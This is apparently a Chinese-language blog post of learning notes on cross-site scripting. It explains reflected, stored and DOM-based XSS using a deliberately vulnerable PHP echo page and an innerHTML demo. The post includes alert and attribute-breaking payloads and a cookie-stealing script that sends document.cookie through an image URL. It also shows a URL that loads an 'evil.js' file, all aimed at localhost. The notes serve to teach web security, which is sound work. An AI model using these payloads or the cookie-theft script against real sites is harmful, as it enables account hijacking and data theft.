1. 程式人生 > >XSS 跨站指令碼攻擊 學習筆記 (一) 概念與簡單XSS構造

XSS 跨站指令碼攻擊 學習筆記 (一) 概念與簡單XSS構造

XSS是個啥? ###

XSS 跨站指令碼攻擊。通過HTML注入篡改網頁,插入惡意指令碼。
啥是XSS?
首先我們寫了一個PHP

<?php

$input = $_GET["id"];
echo "<div>".$input."</div>";

?>
payload = <script>alert(hahahahaha)</script>

於是,頁面就彈出來了一個”hahahaha”的提示框
這就是所謂的反射性XSS

儲存性XSS

有些黑客就更加厲害了,表面上協議一篇部落格,但是內嵌了js的程式碼,然後用指令碼把程式碼儲存到使用者的客戶端。這也是n年前,各種掛黑頁的現象了。

DOM BASED XSS

修改頁面DOM節點產生的XSS如下程式碼

<!DOCTYPE html>
<html lang="en">
<head>
    <script>
        function test() {
            var str=document.getElementById("text").value;
            document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";
        }
    
</script> <meta charset="UTF-8"> <title>test</title> </head> <body> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" onclick="test()"/> </body> </html>

觀察語句:

document.getElementById
("t").innerHTML="<a href='"+str+"'>testlink</a>";

愚蠢的程式設計師居然讓使用者自己把TEXTT的內容寫進去。通過構造payload

' onclick=alert(/xss/) //
'><img =src # onerror=alert(/xss/) /><'

第一個’ 閉合了str中前面’,然後構造點選事件,並用//註釋掉後面的內容。
第二個閉合了html標籤,構造點選事件,然後閉合後面的標籤。達到了跨站攻擊的目的。

COOKIE劫持 的XSS 玩法

首先,我寫了一個有很大問題的php ,就是上面那個
然後,又寫了個JS的指令碼,

var img=document.createElement("img");
img.src = "http://localhost/phplearning/dog1.jpg"+escape(document.cookie);
document.body.appendChild(img);

表面上看上去是插入了張圖片,實際上截獲了cookie的資料。
這種方法有很多擴充套件,不一定是截獲cookie資料,還有很多方式,完全看你js的功底和網站的安全程度
然後構造payload

http://localhost/PHPlearning/PHPshuzu.php?id=%3Cscript%20src=http://localhost/WEBSTORM/evil.js%20%3E%3C/script%3E

這個payload會開啟js指令碼,並截獲cookie資料。
然後,開啟apache的瀏覽日誌。就會看到訪問了。

127.0.0.1 - - [13/Jan/2018:19:35:06 +0800] “GET /WEBSTORM/evil.js HTTP/1.1” 304
甚至可以通過劫持cookie來登入賬戶
但是cookie的”HTTPONLY”會讓劫持失效。

構造GET 和POST請求

除了截獲cookie外,GET和POST請求也是可以構造的。

目前就簡單寫一點,說句實話,自己JS的功底真的不是很好。之後還會寫其他的筆記。包括對題目的WRITEUP ,別的攻擊方式的解析等等。
看書有點看著頭大,先去網上逛逛。